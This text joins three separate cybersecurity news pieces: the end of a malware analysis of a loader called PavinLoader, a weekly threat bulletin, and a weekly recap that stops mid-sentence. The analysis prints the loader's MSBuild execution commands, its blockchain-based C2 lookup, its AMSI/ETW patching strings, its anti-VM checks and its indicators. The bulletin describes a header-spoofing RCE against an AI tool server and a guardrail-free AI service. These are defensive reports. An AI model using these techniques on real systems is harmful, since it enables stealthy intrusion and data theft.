with PavinLoader, suggesting it may be a compilation artifact of the build process. We also found a PowerShell script uploaded to VirusTotal containing comments such as EDIT HERE and REPLACE with a real direct link to your .bat . The associated BAT file contains the string Automated builder helper . However, we haven’t found a build panel or sales channels that would confirm PavinLoader is being offered commercially. The PowerShell script . Click to enlarge Part of the BAT file . Click to enlarge   Although PavinLoader has changed over time, the campaigns we analyzed share several characteristics: Inno Setup or MSI installers generated with different builders that run the .bat and/or .csproj files Trojanized .NET DLLs, including DotNetZip, Nancy, Renci.SshNet, and OpenXML. In most of the cases analyzed, the inserted malicious methods follow a TwoWords or TwoWordsNumber naming pattern, such as DefaultEvaluator5 , and FallbackFactory5 A common obfuscation technique used across the .NET DLLs A naming convention based on two random words, such as  GollopDevest , UnbrandRunover , and PavinWide , for DLL names, functions, strings, C2 paths, and other artifacts EtherHiding to obtain the C2 domain, followed by HTTP requests using paths such as assets/{two random words}.json to retrieve subsequent stages. C2 domains commonly use the .lat , .icu , .shop , and .cfd top-level domains MSBuild mechanisms for loading and executing code from DLLs, including property functions such as [System.Reflection.Assembly]::Load(...) and UsingTask Recurring filename patterns such as name_4characters.cmd/bat/msi/exe —for example, prefetch_9a59.cmd , telemetry_55db.cmd , and bootstrap_64be.cmd —or random nine-character names such as aegZpQ4C7.bat . We also observed short names including Small.msi , small.bat , and small.cmd PavinLoader consists of several .NET DLLs, and in the cases analyzed we identified the following stages:  Loader DLL : A trojanized DLL—such as the Nancy one analyzed in our previous RenPy article—or a custom DLL. It performs anti-forensics and anti-analysis operations, changes network settings needed for the next operations, and loads the EtherHiding Loader EtherHiding Loader DLL : Obtains the C2 through EtherHiding and downloads the next stages from it  Anti-Analysis DLL : Performs extensive anti-analysis checks to detect virtualized environments.  PE Loader DLL : Loads the final PE payload. Intermediate payloads can vary depending on the campaign configuration. First, we’ll look at some of the methods used to distribute the initial PavinLoader stages. We’ll then return to the RenPy loader campaign we analyzed in our previous article to examine the loader’s later stages.  Technical analysis The rest of this article takes a closer look at how PavinLoader is distributed and how each stage of the loader works. How PavinLoader is delivered We have observed PavinLoader being delivered through several ClickFix campaigns. In particular, we detected that the ClickFix cluster analyzed in a previous article has recently started using PavinLoader. Abuse of MSBuild and the use of .csproj and .bat files remain common across the infection chains we observed. We covered one example in our previous RenPy analysis. Here, we’ll look at several other distribution methods.  The ClickFix Cloudflare page associated with this campaign . Click to enlarge   As we saw in our previous analysis of these ClickFix campaigns, the associated PowerShell scripts change frequently. We found several versions in this activity, including both obfuscated and unobfuscated scripts. The PowerShell script associated with the ClickFix campaign. Click to enlarge In this example, the downloaded MSI from the Cloudflare bucket is called Installer_57be78.msi.  MSI content . Click to enlarge The package contains: prefetch_2f76.exe : The legitimate MSBuild executable prefetch_2f76.csproj : Used to execute the Loader DLL through UsingTask DotNetZip.dll : The Loader DLL The .csproj file is executed with: "C:\Users\{USER}\AppData\Local\Logitech\Device Configuration Helper\prefetch_2f76.exe" /nologo "C:\Users\{USER}\AppData\Local\Logitech\Device Configuration Helper\prefetch_2f76.csproj" /nr:false The Loader DLL is a trojanized version of DotNetZip and is executed using the UsingTask element. “UsingTask” used to execute the DLL . Click to enlarge The malicious method inserted in the trojanized DLL. Click to enlarge.  Unlike the RenPy example discussed in our previous article, the EtherHiding Loader is extracted from the DLL itself. An embedded resource is used as an index to extract bytes directly from the DLL, rather than obtaining those indexes from the .csproj file. We detected another campaign that uses BAT files containing fake BUILD VERIFICATION REPORT comments, apparently intended to make analysis and detection more difficult. In this case, the MSI CustomAction executes the BAT script with: cmd.exe /c C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd /launched Fake comments inserted in the updater_8219.cmd . Click to enlarge The obfuscated code appears below the fake comments. It concatenates multiple strings and uses indices generated through simple mathematical operations to reconstruct them. We found this type of obfuscation in most of the BAT files we analyzed. The obfuscated part of the .cmd file . Click to enlarge The BAT file locates conhost.exe and relaunches itself with: "C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c "C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd" /launched It then sets the MSBUILDENABLEALLPROPERTYFUNCTIONS=1 environment variable, locates MSBuild.exe , and executes it using the same file as input: "C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd" In this case, the Loader DLL is reconstructed by concatenating and decoding four Base64-encoded variables. Part of the CMD file showing the loading process. Click to enlarge The Loader DLL has a random name and appears to be an older version because it does not contain the custom bytecode and encrypted strings in its resources. As in the RenPy campaign analyzed previously, this stage retrieves the EtherHiding Loader stored between a Build-... marker in the CMD file through the _vezr environment variable, then decodes it using XOR with a 32-byte key. The extracted Loader DLL. Click to enlarge Having looked at several methods used to distribute PavinLoader’s first two stages, we will now return to the RenPy infection chain from our previous analysis and examine the loader itself in more detail. Analyzing PavinLoader The .NET DLLs associated with PavinLoader are heavily obfuscated using control-flow flattening, custom bytecode, indirect calls through calli / ldftn , string encryption with different algorithms, API hashing and delegates, redundant methods, and junk code and strings. We did not identify a known obfuscator associated with the samples, so to the best of our knowledge, PavinLoader uses a custom obfuscator. Because fully deobfuscating the samples would be complex, we used a hybrid approach combining dynamic analysis with method invocation through reflection. We identified important methods based on their imports and parameters, invoked them, and analyzed the resulting output. This approach does not provide complete coverage of the execution flow, but it allowed us to identify the loader’s core functionality and extract its intermediate stages. Because different functions frequently share the same names, we use metadata tokens to identify methods throughout the analysis. Nancy trojanized DLL: Loader DLL  We covered this stage in detail in our previous blog post, so we’ll provide only an overview here. In most of the cases analyzed, the Loader DLL is a trojanized legitimate DLL. The malicious method typically uses a {RandomWord} or {RandomWord_Number} naming convention. The DLL contains a resource associated with the custom bytecode interpreted by the main method, two resources containing encrypted strings, and, in some cases, additional resources used as an index for extracting the next stage. Other resources appear to be decoys designed to slow analysis. In the samples we analyzed, this DLL typically: Decrypts strings from resources using multi-key XOR Resolves APIs using API hashing and GetDelegateForFunctionPointer() Changes network settings, including disabling TLS certificate validation and setting the default system proxy Performs an anti-analysis timing check using CreateEventW() , GetTickCount() , and WaitForSingleObject() Performs anti-forensics operations Loads the EtherHiding Loader either by extracting it from a marker inside .csproj or BAT files, or by using a resource as an index to retrieve bytes directly from the DLL GollopDevest: EtherHiding Loader  The EtherHiding Loader has two main functions: obtaining the C2 domain through EtherHiding, and downloading and loading subsequent stages from that C2. Class 0x02000762 is responsible for decrypting strings associated with blockchain and network communication. The strings are decrypted by 0x060027BD as follows:  Function 0x060027BB initializes the S-box using the XOR of the master key activeValues and the Base64-decoded optionsCollection string Function 0x060027BE takes childSyncObject as input and returns index bytes using XOR and permutations based on header values encoded in the first two characters of the string Function 0x060027B9 returns the decrypted string using the indexes and the previously generated S-box This was the only class we found with encryption parameters encoded in this format. For the remaining strings, we identified functions that returned decrypted data based on their parameter signatures—for example, methods returning strings or bytes—and invoked them through reflection. This allowed us to recover more than 1,300 strings. Part of the decrypted strings . Click to enlarge   Among them were strings associated with AMSI and ETW patching: AmsiScanString System.Management.Automation.AmsiUtils System.Management.Automation.AmsiUtils+AmsiNativeMethods ntdll EtwEventWrite NtQueryInformationProcess NtSetInformationThread VirtualProtect More than 100 URLs belonging to legitimate services are also decrypted and used to generate HTTP requests and network noise. We did not observe this behavior in every sample, suggesting it may be build-specific. The Server class ( 0x02000052 ) generates the X-Timestamp , X-Nonce , and X-Signature HTTP headers and makes requests used to retrieve subsequent stages. Two HTTP requests are made to synchronize parameters and obtain the payload, with HMAC used to validate the requests. Using reflection, we executed method 0x06000A77 to obtain the header values needed to retrieve the subsequent stages. The C2 domain is obtained by making an ETH RPC (Remote Procedure Call) to bsc-dataseed.binance.org with the following JSON-RPC body: {"jsonrpc":"2.0","method":"eth_call","params":[{"to":" 0x328a1fadff154290f0ce1389a4e633698cdfdaa7 ","data":"0x06fdde03"},"latest"],"id":1783436775}  The next stages are downloaded from the resulting C2 domain. The XOR-encoded payload is stored in the JSON response under cache.content : {"type":"cache-binary","meta":{"version":"2.3.1","timestamp":"…","platform":"win32-x64"},"cache":{"id":"e2b69…"," content ":" 1c.. "}}  In this case, the C2 paths and XOR keys decrypted from this stage and the anti-analysis DLL are: Path   XOR key   Type/Function   /assets/ExponeAboard.json  QBBBfWow4lb  PavinWride .NET DLL, Anti-analysis   /assets/MailersKogasin.json  WjcsVTKmuoBRqe  GollopDevest .NET DLL, PE Loader  /assets/LanoseThrip.json  WwUX66Br  WPA.exe PE executable, Amatera Stealer  The next stage executed is the anti-analysis DLL.  PavinWride: Anti-analysis DLL  This DLL is responsible for performing several anti-analysis checks.  The anti-analysis DLL executes system calls in different ways:  Standard .NET Base Class Library (BCL) calls, including for registry and network operations Win32 P/Invoke calls, including GetCurrentThread , NtQueryInformationThread , NtQueryInformationProcess , and NtCurrentTeb Win32 APIs resolved through API hashing and a Process Environment Block (PEB) export table walk The function MenuItemService . ProcessDirectory ( 0x06000151 ) is the main method responsible for delegate caching and Win32 API resolution:   It checks if the delegate is already resolved using managerMap.TryGetValue()  If not, it calls ProcessDirectory (0x06000150) to obtain the HMODULE handle It calls ProcessDirectory (0x0600003A) that performs the PE export table walk and matches the hash. We detected that the same hashing output is obtained in several other methods (e.g., 0x06000039 , 0x0600003B , 0x0600004E ) It obtains the delegate with GetDelegateForFunctionPointer() and saves it in the dictionary Results of the API hashing script . Click to enlarge   We used the same reflection approach to get the strings.  Many strings are encrypted with the XOR key 4B729A1F5CE387D6 .  Part of decrypted strings. Click to enlarge   The loader obtains the system’s LCID using GetKeyboardLayoutList() and compares it against more than 17 languages, including Russian, Ukrainian, Belarusian, and Armenian. It also performs extensive system reconnaissance, including enumerating registry keys and calling Win32 APIs such as GetSystemFirmwareTable() and EnumSystemFirmwareTables() to identify virtualized environments. Category   Value   PCI vendor / device IDs   VEN_80EE , VEN_15AD , VEN_1AB8 , VEN_5853 , VEN_1AF4 , VEN_1234&DEV_111 , … SMBIOS/ACPI OEM IDs   VMWARE , VBOX , BOCHS , VRTUAL , MSFTVM , MSHYPR , Xen , Parall , BHYVE , AMAZON , Google ACPI table signatures   VBOX , BXPC , VMW , Xen , PRLS , AMZN , MICR BIOS/manufacturer/product strings   vmware , vmw , innotek , virtualbox , vbox , qemu , seabios , bochs , standard pc , kvm virtual machine , xen , hvm domu , parallels Strings associated with anti-analysis checks Part of the registry key enumeration . Click to enlarge We also observed decrypted references to APIs including GetCurrentProcess() , CreateToolhelp32Snapshot() , Process32First() , Process32Next() , and OpenMutex() , although we did not observe these functions being called during our execution flow. An HTTP request is also made to one of these services:  https://ipv4[.]ipleak[.]net/json/ https://get[.]geojs[.]io/v1/ip/geo[.]json https://ipapi[.]co/json/ https://api[.]ipapi[.]is/ https://ipinfo[.]io/json It also checks the returned data against 96 hosting or infrastructure providers and tests whether the region code is one of: RU , UA , BY , AM , KZ , KG , TJ , UZ , GE , AZ , or MD . Decrypted strings associated with providers . Click to enlarge If the anti-analysis checks pass, the next two stages are downloaded and decrypted using XOR keys. We patched SelectionScope.ProcessDirectory ( 0x06000014 ) to recover the C2 paths and XOR keys for those stages: /assets/MailersKogasin.json|WjcsVTKmuoBRqe|/assets/LanoseThrip.json|WwUX66Br GollopDevest: PE Loader DLL and Amatera Stealer The third DLL has the same name as the second, GollopDevest , but performs PE loading. Among its decrypted strings are: 'GollopMailers LDR DllBase VeneryCondole EdiyaFoully=0x{0:X} EdiyaStelae=0x{1:X}' 'GollopMailers LDR Flags missing IMAGE_DLL 0x{0:X8}' 'GollopMailers LDR SaranPisco invalid 0x{0:X}' 'GollopMailers LDR TlsIndex invalid {0}' 'GollopMailers LDR sanity exception: ' 'HIGHLOW relocation' 'Import DLL name' 'Import FunctusAurata' 'Import INT' 'Import descriptor' 'Import hint/name' 'Import thunk' 'LdrpHandleTlsData outside ntdll .text' 'LdrpReleaseTlsEntry outside ntdll .text' 'LoadConfig32' 'OK' 'PE headers' 'Required API resolve failed: type={0}, FreshBubals={1}, module=0x{2:X}' 'TLS32' 'TLS64' 'x86 disabled until ABI proof' ntdll.dll kernel32.dll LdrpInitializeTls "STATUS_SUCCESS" UNKNOWN(0x00000001) UNKNOWN(0x00000002) UNKNOWN(0x00000003) The ServerEditor.SortMemory method ( 0x06000014 ) checks the PE structure and flags before loading the payload. To confirm this behavior, we invoked the method through reflection using the downloaded WPA.exe file as input. The PE loaded successfully. The C++-compiled PE disguises itself as WPA.exe (Windows Performance Analyzer). We identified the payload as an obfuscated version of Amatera Stealer 4.2.3-alpha1 . It uses control-flow flattening, API hashing, anti-debugging checks, and opaque predicates to complicate analysis. We also detected use of the Heaven’s Gate technique, DNS-over-HTTPS (DoH) resolution through Google DNS, and raw sockets using \Device\Afd\Endpoint for network communication.  Part of the decrypted strings associated with Amatera . Click to enlarge After this stage executes, we also observed additional payloads being downloaded and run from C2 IP addresses. In some cases, WiX Burn bundles downloaded another payload associated with PavinLoader. In others, we detected HijackLoader. This gives the campaign operators the ability to deploy multiple payloads on a compromised machine. IOCs  SHA-256 hashes bdf313a019e025ebf58ccef4619444ee70e661bd444e0644ebeabd8f5caad14c  e3830f5747e3f46537d217124d80c9f3bb4d89f8d4f5138dce69ee54ea4fb6b9  a4f03272cf96732dc9f58bb466d16f358e7f50d46dba30526a9fbebfec11717b  bf04160dd1ce3571e0eb6d6dda1713c788797b5599399d4a93665a757eec376e  54fa8083c05334aa360256fbbb0ca901ce7e244a0359dd664cae78977371ec91  c1ea6d169565c70ac5d812e73483814929e9b3548ead6633595937e71a334adb  001337488c32d8610c2aef6f9330acca825f0afacd071bf6ebfc06b5a1a69f09  2837099af431e9afee76ce5e6ab5cb86bedce06e31c22be46250cb453cfdb978  252c5a3d150275013f52b4820097d7163ced4aa2f1be0fca032f8a5017673816  0c9c64b7383ec249bcf6271a4b73206d94de130ca401d16ab77fe01e5193a312  6700f62e1a3b33340cd678c388ecc8bac2e5943c0627df5d1b99b879c3ca42c9  IP addresses   93.152.224[.]75 : downloads PavinLoader  65.21.80[.]170 : downloads PavinLoader  195.63.142[.]49 : downloads PavinLoader  Domains   perfectverified[.]com : ClickFix  PavinLoader C2   catalyst-pro[.]lat  twigoamwu[.]cfd  trusaifi[.]cfd  stellar-minds[.]cfd  pinnacle-labs[.]lat  nexahub[.]lat  fimwoglea[.]shop  velodium[.]lat  rpcsecnoweb[.]pro  more-arpc[.]icu  echo-systems[.]cfd  kelemet[.]shop  zarwieciv[.]cfd  URLs   telegra[.]ph/Project-PySynth-06-28 : Amatera dead drop  Acknowledgements   Previous analysis of the loader: https://www.derp.ca/research/hellsuchecker-clickfix-etherhiding/#26-anti-sandbox-checks-and-a-nintendo-bypass (possible AI-generated content)  Possible related activity: https://cyberowi.pl/lumma-stealer-renpy-fitgirl-osmiowarstwowy-loader/   Possible related activity: https://medium.com/@djordje.brankovic/from-fake-captcha-to-in-memory-execution-unraveling-a-multi-stage-malware-chain-part-1-496c603f3641   Analysis of a forum user: https://forums.malwarebytes.com/topic/338102-solution-of-gollopdevestdll-renpy-loader-malware-from-malwarebytes-blog/   From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by  downloading Malwarebytes today .

A lot of this week’s trouble starts with something trusted doing exactly what it was allowed to do. Signed drivers get turned against defenses. Legitimate apps help malware blend in. A weak header check opens a path to code execution. Elsewhere, exposed systems, old bugs, odd hiding tricks, and AI-assisted exploit research keep lowering the effort needed to cause damage. Nothing here needs much decoration. The small gaps are doing enough work already. The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out. Signed driver abuseIn new research, Check Point has reverse engineered Microsoft Defender's Defender Boot-Time Removal driver ("BTR.sys") and demonstrated that it's possible to repurpose the signed remediation driver as a universal kernel operation engine to bypass endpoint security solutions by exploiting a "golden window" between system start and user mode initialization without having to rely on the bring your own vulnerable driver (BYOVD) method. "Because BTR.sys is a legitimate Microsoft-signed component, signature-based blocking is ineffective," security researcher Jiří Vinopal said. "Furthermore, a well-crafted weaponization tool (like BTR_CLI) intentionally mimics the operational footprint of the legitimate Windows Defender remediation process." $10 million rewardThe U.S. Department of Justice (DoJ) has charged 17 members of the Mabna Institute, an Iran-based company that, since at least 2013, has conducted a coordinated campaign of cyber intrusions into computer systems for 144 U.S.-based universities, 178 foreign universities, at least 42 U.S.-based private sector companies, at least 11 foreign private sector companies, at least five U.S. federal and state government agencies, and at least two non-governmental organizations (NGOs). The Mabna Institute has been accused of stealing more than 31 TB of academic data and intellectual property from these universities, as well as the email accounts of employees at the private sector companies, government agencies, and NGOs. In all, the Mabna Institute targeted more than 100,000 accounts of professors around the world, successfully compromising approximately 8,000 of them. The defendants carried out these intrusions on behalf of Iran's Islamic Revolutionary Guard Corps (IRGC). The Mabna Institute was founded by Gholamreza Rafatnejad and Ehsan Mohammadi around 2013. "The campaign started in approximately 2013, continued through at least December 2017, and broadly targeted all types of academic data and intellectual property from the systems of compromised universities," the DoJ said. "In addition to stealing academic data and login credentials for the benefit of the Government of Iran, the defendants also sold the stolen data through two websites, Megapaper.ir (Megapaper) and Gigapaper.ir (Gigapaper)." The U.S. Department of State is offering a $10 million reward for information about five of the defendants, or associated individuals or entities. "Mabna represents the privatization of state espionage: a contractor selling stolen research to whoever's paying, with the IRGC as an anchor client rather than a sole owner," Shmuel Gihon, Security Research Team Lead of Exposure Management at Check Point, told The Hacker News. "That's the trend to watch: capable, deniable, commercially-run crews doing state-level work at industrial scale, with universities as the perfect target. They offer enormous IP value, thin identity controls, and an open-access culture that phishing exploits directly. We've seen this blurring of cyber-criminal and state-sponsored activity before, but historically it's been more associated with Russian-speaking crews. What this case shows is that Iran and the IRGC are increasingly playing the same game." DLL sideloading campaignA new Grandoreiro malware campaign has been found abusing the legitimate Duplicate Files Finder (DFF) application to run malicious code via DLL sideloading. According to telemetry data from Acronis, Grandoreiro activity remains concentrated in Latin America, with Mexico, Spain, Peru, and Argentina accounting for the lion's share of infections. "The initial sample incorporates extensive anti-analysis functionality, including sandbox detection, virtual machine artifact checks, process blacklisting and environment profiling designed to evade automated analysis systems," Acronis said. "These checks are performed before any attempt to contact the command-and-control (C2) infrastructure, suggesting that avoiding analysis is a high priority for the operators." ClickFix meets BYOVDErrTraffic-generated ClickFix campaigns have been observed attempting to deliver Cruciferra, which, in turn, employs a legitimate but vulnerable driver ("DCRCVDrv.sys") as part of a BYOVD attack to escalate privileges and terminate security processes. ErrTraffic, sold by a threat actor named LenAI, is a malware-as-a-service (MaaS) framework and a traffic distribution system (TDS) that's designed to distribute multiple threats through compromised WordPress websites, ClickFix social engineering, and EtherHiding. In recent months, ErrTraffic has been used to deliver Remus Stealer, Vidar Stealer, Okobot, LegionLoader, OnionDrop-related payloads, and BabaDedaLoader, per WatchGuard. "Victims land on compromised WordPress sites injected with an obfuscated ErrTraffic-generated JavaScript loader," eSentire said. "The loader resolves its C2 domain by querying a Polygon smart contract, then sends a request to the C2 to retrieve the next stage to serve a ClickFix lure." The end goal of the attack is to launch Remus Stealer via process hollowing. Private AI processingOpenAI has announced a privacy-centric safety approach to monitoring model misuse. The company said it's previewing a new service to select customers that it calls Private Safety Processing, which keeps tabs on potential abuse without retaining customer data. "For ZDR deployments, customer content remains on infrastructure the customer controls," OpenAI said. "We are also developing an option in which content is stored on OpenAI infrastructure, encrypted with keys controlled by the customer. In both cases, automated systems can identify potential misuse and return limited safety signals without exposing the underlying prompts or responses to OpenAI personnel." The system clearly takes aim at rival Anthropic, which has a 30-day retention policy for business customers who want to use its Mythos-class models. In a related development, Google has showcased Homomorphic Encryption Intermediate Representation (HEIR), which enables cryptographically secure private AI inference on encrypted inputs. "HEIR (Homomorphic Encryption Intermediate Representation) is an open-source compiler toolchain and development platform for homomorphic encryption," Google said. "In particular, HEIR can convert pre-trained AI models that operate on unencrypted data to operate on encrypted inputs." Guardrail-free AIA new AI-powered service called Kriminal AI offers paying customers a way to get answers about everything, without any of the filters or guardrails that are typically implemented by AI platforms. "Kriminal.AI gives you raw, uncut intelligence — the questions other AIs refuse to touch," the website claims. The service claims to have more than 2,300 users. Kriminal AI follows WormGPT, FraudGPT, and Xanthorox into a market that has expanded quickly to attract users who may be frustrated by safety, security, and ethical safeguards embedded into widely used models. Subscriptions for Kriminal AI start at $12.99/month and go all the way to $99.00/month. The most concerning aspect is that the service is not lurking in the dark web. It's accessible on the clearnet, and comes with a tagline: "No filters. No guardrails. No "I can't help with that." Kriminal.AI gives you raw, uncut intelligence — the questions other AIs refuse to touch." According to ThreatDown, the service appears to make use of Grok for primary inference; Google Cloud and Cloudflare for hosting; Anthropic's Claude for a long-context model layer; Llama routed through OpenRouter for certain specialized tasks; Tavily for live search; NowPayments for cryptocurrency checkout (no KYC included, apparently); and Cloudflare/Let's Encrypt for DNS and TLS. ATT consent changesApple has agreed to make changes to its App Tracking Transparency (ATT) feature in Germany, after the Federal Cartel Office, or FCO, found the feature gave its own apps more favorable consent prompts than those of third-party developers. Apple has four months to implement the changes after. According to a statement issued by Apple, the changes will apply in almost all European Union countries. "The differences between the consent request used for Apple’s own offerings and the consent request predefined by Apple for third-party apps exceeded what could be justified based on differences in types of data processing," FCO said. "The wording, design and selection options of the request used for Apple’s own offerings had the potential to encourage users to give their consent, whereas they had the potential to discourage consent for third-party apps. In addition, third-party apps in some cases had to request consent several times even when users had already given data protection law-compliant consent." Apple was fined €98.6 million (then $116 million) in December 2025 by Italy's antitrust authority after finding that ATT restricted App Store competition. Refrigeration controllers exposedClaroty's Team82 has discovered 23 vulnerabilities in Copeland XWEB Pro controllers, including those that can be chained to bypass security mechanisms and achieve root-level remote code execution. A compromised controller could be used to remotely manipulate refrigeration equipment, including cooling fans and compressors, and conceal the resulting temperature increase while silently allowing the food to spoil. Multiple vulnerabilities have also been disclosed in Danfoss AK-SM 800A refrigeration controllers, including a "hidden 'code-of-the-day' authentication mechanism that could be abused to bypass normal authentication, a command-injection vulnerability leading to remote code execution." A second flaw allowed authenticated users to inject arbitrary Nginx configuration directives, which could be abused to manipulate web traffic and trigger a denial-of-service condition. All the identified vulnerabilities have been fixed by the respective vendors. C2 hidden in whitespaceA hand-written Windows backdoor has been found to store its C2 domain as the number of trailing spaces in a fake desktop.ini file. The 12 KB backdoor was discovered by Gen Digital on a single corporate workstation while hunting for unusual WMI persistence. "The malware was small, had a limited command set and disguised itself as legitimate Realtek software," Gen said. "Its most unusual feature was its configuration: the address of its command-and-control server was not stored as readable text or encrypted data, but encoded in the number of spaces on each line of a Windows 'desktop.ini' file. To a user, and to many automated inspection systems, the file would appear almost empty. To the malware, those spaces spelled out its server address." There is no evidence connecting the backdoor to a known threat actor. The absence of related samples indicates that it may have been a deliberately targeted operation. Maximum-severity RCEA maximum-severity security flaw in Gogs (CVE-2026-52813, CVSS score: 10.0) could be exploited to achieve remote code execution through Git hooks. "Organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals," according to a June 2026 advisory. "This allows storing/retrieving data for repositories at arbitrary locations on the filesystem. By creating a nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE)." The issue was addressed in version 0.14.3, alongside patches for CVE-2026-52810 (a logic bug to write on read-only repositories) and GHSA-6vxv-wg6j-5qwp (an XSS flaw in the outdated version of "jsvine/notebookjs" used to render Jupyter notebook files). Aikido Security has been credited with discovering and reporting the flaws. Memory leak via PostScriptDetails have emerged about a now-patched out-of-bounds read flaw in Apple macOS Spotlight (CVE-2026-43774, CVSS score: 5.5) that could be exploited by a malicious app to access sensitive user data. The vulnerability was patched by the iPhone maker in late July 2026. "The vulnerability is in the Spotlight PostScript plugin," Iru researcher Csaba Fitzl said, adding an attacker can use a specially crafted .ps file to trigger the vulnerability. It requires three conditions to be met: (1) The file is at least 4000 bytes, (2) A DSC comment keyword (e.g., %%Creator:) appears somewhere in the first 4000 bytes, and (3) The bytes following the keyword, up to byte 4000, contain no control characters. Unauthenticated CI/CD takeoverA critical security flaw has been disclosed in @circleci/mcp-server-circleci that could result in remote code execution by means of a specially crafted request. "With one well-placed request, an attacker achieves an unauthenticated RCE in your CI/CD pipeline, taking full control of your build secrets and cloud identities," Remedio said. The attack takes advantage of the fact that the Host and Origin headers associated with an HTTP request used to block browser-based attacks can be set by a network-adjacent threat actor. "Send a simple HTTP request that says Host: localhost in the HTTP header with no Origin, and you get right through," Remedio said. "Once in, you can freely communicate with connected tools. Call the "run pipeline" tool, hand it the pipeline configuration you wrote, and add a step to run your commands. CircleCI executes it using the organization's token." The vulnerability has been fixed in version 0.19.2 of the npm package. Workflow-to-RCE chainA critical vulnerability in n8n, an open-source workflow automation platform, can allow an authenticated user with permission to create or modify workflows to exploit a prototype pollution vulnerability in the XML and the GSuiteAdmin nodes and achieve remote code execution on the n8n instance. The issue (CVE-2026-33696, CVSS score: 9.4) has been fixed in versions 2.14.1, 2.13.3, and 1.123.27. Security researcher Simon Koeck, who discovered the Flaw, said the prototype pollution alone is serious enough to crash the entire n8n instance, but can be chained to obtain full code execution and allows the attacker's command to be run as the n8n process user. Cable cut stopped intrusionIn late 2024, reports emerged of a Salt Typhoon campaign that targeted T-Mobile and other major U.S. telecommunications companies as part of a cyber espionage effort to gain access to valuable customer data. Although the activity was caught before the Chinese cyber spies could siphon any data from T-Mobile's networks, the company has now revealed to Bloomberg that its staff spent months looking for suspected intruders without much success, only to eventually trace unusual behavior on one of its systems coming from a Chicago router belonging to a different telecom company. Jeff Simon, T-Mobile's chief information officer, said he and three others drove to the data center that housed the compromised device and "pulled out a pair of scissors" to cut the cable. AI exploitation gainsChinese AI startup Z.ai has released GLM-5.3, a new AI model that it said is better suited for complex coding and long-horizon tasks. "GLM-5.3 is state of the art on CyberGym for vulnerability discovery, and its gains are largest further up the exploitation chain, where it more than doubles GLM-5.2 on exploitation benchmarks," it said. "GLM-5.3 did not simply become better at identifying isolated flaws: it began to reason across multiple stages of exploitation, forming coherent plans for complete exploitation chains," Z.ai said it has been working with several security teams in China to run its open-source models against real-world codebases, identifying 2,436 vulnerabilities across 269 projects, including 1,097 medium-to-high severity issues. "The findings span system kernels, operating systems, browser engines, open-source infrastructure, web applications, and network protocols," it said. "Many had remained unnoticed for years or even decades, with the oldest dating back roughly 40 years." Despite these advances, benchmarks show that GLM-5.3 lags behind Anthropic Mythos 5 in converting discovered flaws into working attacks. The useful part of weeks like this is that the attacks rarely begin with magic. They begin with trust, exposure, weak assumptions, and things nobody thought worth abusing. That leaves plenty to fix. Tighten what gets trusted, question the defaults, and keep looking at the boring edges. Attackers clearly are.

The expensive attacks are not always the clever ones. This week had plenty of proof. Exposed services got hit, old bugs found fresh use, browser sessions became attack paths, and supply-chain problems kept spreading farther than the original compromise. A lot of it came down to access that was already there and defenses that assumed nobody would look too closely. So, nothing magical. Just a lot of small openings turning into bigger problems. Here’s what stood out. ⚡ Threat of the Week Suspected China APT Behind Exploitation of New VMware Flaw — A suspected China-nexus APT is assessed to be behind the exploitation of a newly patched security flaw in VMware vCenter. The attacks involve the exploitation of CVE-2026-59310 (CVSS score: 9.8), a severe directory-traversal vulnerability in the VMware vCenter server that could be weaponized by a malicious actor to execute arbitrary code. In at least one compromised instance, the attacks led to the deployment of a backdoor and. a reverse SSH binary, with the attack ultimately leading to the deployment of Babuk-derived ransomware. "Based on the case we investigated, however, we do not believe ransomware was necessarily the primary objective," QUIRSO said. "To us, its deployment looks more like a smoke screen intended to distract from the underlying intrusion and, importantly, hinder subsequent forensic analysis by encrypting evidence. We therefore see the ransomware activity in this case as potentially serving the broader intrusion rather than being its ultimate objective." AI Adoption Is Outpacing Governance, New SANS Survey Finds Seventy-eight percent of practitioners now say AI is part of their cybersecurity strategy, up from 50% last year. Governance hasn't kept pace: just 36% have a formal AI risk program. See where 536 security professionals say programs are falling short, and what to do about it. Read the Findings ➝ 🔔 Top News Apple macOS Flaw Exploited to Drop Crypto Miner — A recently patched security flaw in Apple macOS has come under active exploitation in the wild to deploy a cryptocurrency miner. The vulnerability in question is CVE-2026-65400 (CVSS score: 9.8), a critical authentication issue impacting the Screen Sharing component that could allow an attacker already on the network to authenticate to the built-in remote desktop feature service without valid credentials. The shortcoming was addressed as part of an emergency update in macOS Tahoe 26.6.1, macOS Sequoia 15.7.9, and macOS Sonoma 14.8.9 earlier this month. The Netherlands National Cyber Security Center (NCSC-NL) said it received a report indicating active abuse of the vulnerability across multiple systems on which port 5900 was accessible from the internet. "In all these cases, root had gained access to the affected system and placed a Monero crypto miner," the agency said. Lazarus Exploits New Windows 0-Day — The North Korean threat actor known as Lazarus Group has been attributed to the zero-day exploitation of a newly patched security flaw impacting Microsoft Windows to deliver a never-before-seen backdoor targeting defense and aerospace companies across France, Germany, Brazil, and India. The activity is part of Operation Dream Job, a long-running cyber espionage and social engineering campaign orchestrated by Pyongyang-backed hackers to target professionals worldwide with fake-but-compelling job offers to steal sensitive data and install malware. The attacks have been found to exploit CVE-2026-68820 (CVSS score: 7.0), a privilege escalation flaw affecting Windows Ancillary Function Driver for WinSock ("AFD.sys") that was patched by Microsoft as part of its Patch Tuesday updates for August 2026. The attacks have been observed to deliver ForestTiger and a new backdoor called Troy. GeoServer Patches Critical Flaw Under Attack — GeoServer has released patches for a critical SQL injection vulnerability that can lead to remote code execution (RCE). The issue, which has yet to be assigned a CVE identifier, has been patched in versions 3.0.1, 2.28.5, and 2.27.6. Per watchTowr, the vulnerability witnessed active exploitation within hours of public disclosure and that it has seen hundreds of attempts originating from a small pool of IP addresses. GeoServer project maintainers told The Hacker News that the flaw was responsibly disclosed and was scheduled to be addressed in their regular release cycle, when details of the flaw became public knowledge last week. Amnesia Stealer Goes Beyond Data Theft — A newly discovered macOS stealer family called Amnesia Stealer has been found to target macOS users via 